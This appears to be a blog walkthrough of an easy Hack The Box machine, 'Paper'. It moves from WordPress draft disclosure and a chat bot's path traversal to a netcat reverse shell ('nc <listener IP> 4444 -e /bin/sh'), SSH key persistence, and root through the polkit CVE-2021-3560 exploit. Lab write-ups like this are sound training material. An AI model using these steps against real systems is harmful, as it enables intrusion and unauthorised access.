It’s been a few months since we popped a shell on Hack The Box. I didn’t fancy a migraine today though, so it’s just an easy box we’re going after.
Starting with some basic enumeration, I ran nmap which never seemed to complete for some reason. I wasn’t really waiting around for that info anyway. First thing to check: was there something running on port 80?
Okay, so there’s a default web server sitting here. Nothing too exciting, so I hit it with a dirbuster. Yes, for some reason I went for this instead of my usual favourite of ffuf. And no, I don’t know why – but it didn’t matter.
Unfortunately it’s not uncovered anything of use. I checked 443 just in case something was hiding away there. Without a port scan to hand, I turn to an old friend. Not a human friend – a software one: nikto to see what information this server was hiding from me.
I’m intrigued by two things here. HTTP TRACE which might come in handy later (Narrator’s voice: “But it wouldn’t”) and the x-backend-server header. We know our server has the name of office.paper. Putting this into our /etc/hosts file allows us to see the actual web site being hosted.
It being a WordPress site, it’d be rude not to run a WPScan. So I kicked that off and in the meantime I had a browse of the site. The box creator has a good sense of humour and I did have a chuckle at the posts. Something stood out though and it was a great clue. Comments from a user called “Nick” warned the site owner to “stop putting secrets in the drafts”. I know where I need to look now – but would I be able to easily see the drafts? The completion of the scan revealed exactly what I needed know: this was WordPress 5.2.3. As searchsploit will handily reveal, there was a vulnerability allowing all such posts to be displayed to an unauthenticated user by simply appending ‘?static=1‘ to the URL.
Oh dear. It seems that someone has saved a super secret URL allowing us to register with another system on this box. If you are wondering “Could we have found this URL by other means?” the answer is probably “No”, but we could have conducted some enumeration to come across the virtual host called “chat”, if we’d been so inclined.
Having created an account for this RocketChat server (a simple Slack clone) I was able to see the #General channel for fake org.
There was some interesting information about some automation which an admin had set up. This automation was built using “hubot” and the instructions suggested that we could submit commands to (among a few other pointless things) retrieve files and directory listings from the server by sending a message to the reyclops bot.
Literally the first command I ran – without knowing exactly how this would work – was “file ../../../../../etc/passwd“. That actually worked straight away. I have some users now, but that wasn’t going to get me very far so I continued poking around the filesystem. I came across a rather interesting file which contained a username and a password.
I was able to log in to the chat system with this user – although there was some sort of (incredibly ineffective) protection in place to prevent a bot user from using the web interface. Funnily enough, I could tell this wasn’t being enforced in a very smart way because before the system managed to chuck me out the door, I saw a bit of the interface load and then disappear. Using BurpSuite I jammed a wedge in that door the next time I logged in. It was possible to just drop the logout POST request the system was attempting to send. Genuinely it was that simple. If only it made any difference. There was nothing I could do from this user that would help.
Time to RTFM. A visit to https://developer.rocket.chat was enlightening. Not only did it tell me something I already knew about the file containing the username and password, but it pointed me to a directory I hadn’t looked in before. This directory contained the scripts which the bot would execute on the server! Should I have checked it earlier? Maybe. But now I knew exactly what I was looking for and at.
The help information our bot had provided to us was a little incomplete. There was an undocumented command that was going to be very useful and its name was “run”.
Testing an “ls -al” to see if a command with options would be executed successfully and it worked a treat, so I went for the kill and popped a reverse shell. Nothing fancy, just your bog standard nc -nlvp on the attacker machine and nc <listener IP> 4444 -e /bin/sh on the victim. It’s all on my cheat sheet 😉
It became obvious I was running as the user flag owner at this point: one cat-ing of user.txt later I wanted a better shell. I stuffed my public key in .ssh/authorized_keys and broke out ssh to give myself a nice stable, full featured bash shell.
For the PrivEsc journey I did the standard due diligence. sudo -l was offering nothing, but I saw polkit in the output of one of my early enumeration searches. Not a huge shock, but it wasn’t that long ago that PwnKit arrived on the scene. Could this system be vulnerable? I tried the original POC exploit against the box but it didn’t work. This surprised me a bit, and I tried a different exploit. This also failed – but something is fishy here and I’m not talking about Putin’s underwear. This version of the exploit did a check of the system and reported that the version of Polkit is indeed vulnerable. As yet I hadn’t given LinPEAS a crack of the whip. I gave that a try and what did it say? Vulnerable to CVE-2021-3560. PolKit.
The system appeared to be running X which was a little strange – as Linux HTB’s rarely will be doing that, at least from memory. I checked the runlevel of the system and it was at 5. For a lot of people that will mean absolutely nothing. People like me who will soon be old enough to get away with moaning about “kids these days” know that this means the system is indeed running a GUI. There has to be a reason why.
A search of PwnKit exploits led me to one created by the author of the box. https://github.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation specifically relies on bits of GNOME. Well that’s promising! Too good to be true? I think not.
This stunningly simple exploit allowed a swift march to root and to victory.
I wish I could say that the scenario laid out in this box was unrealistic. I really do. The reality is that this sort of thing happens more than us security folk would ever like to admit.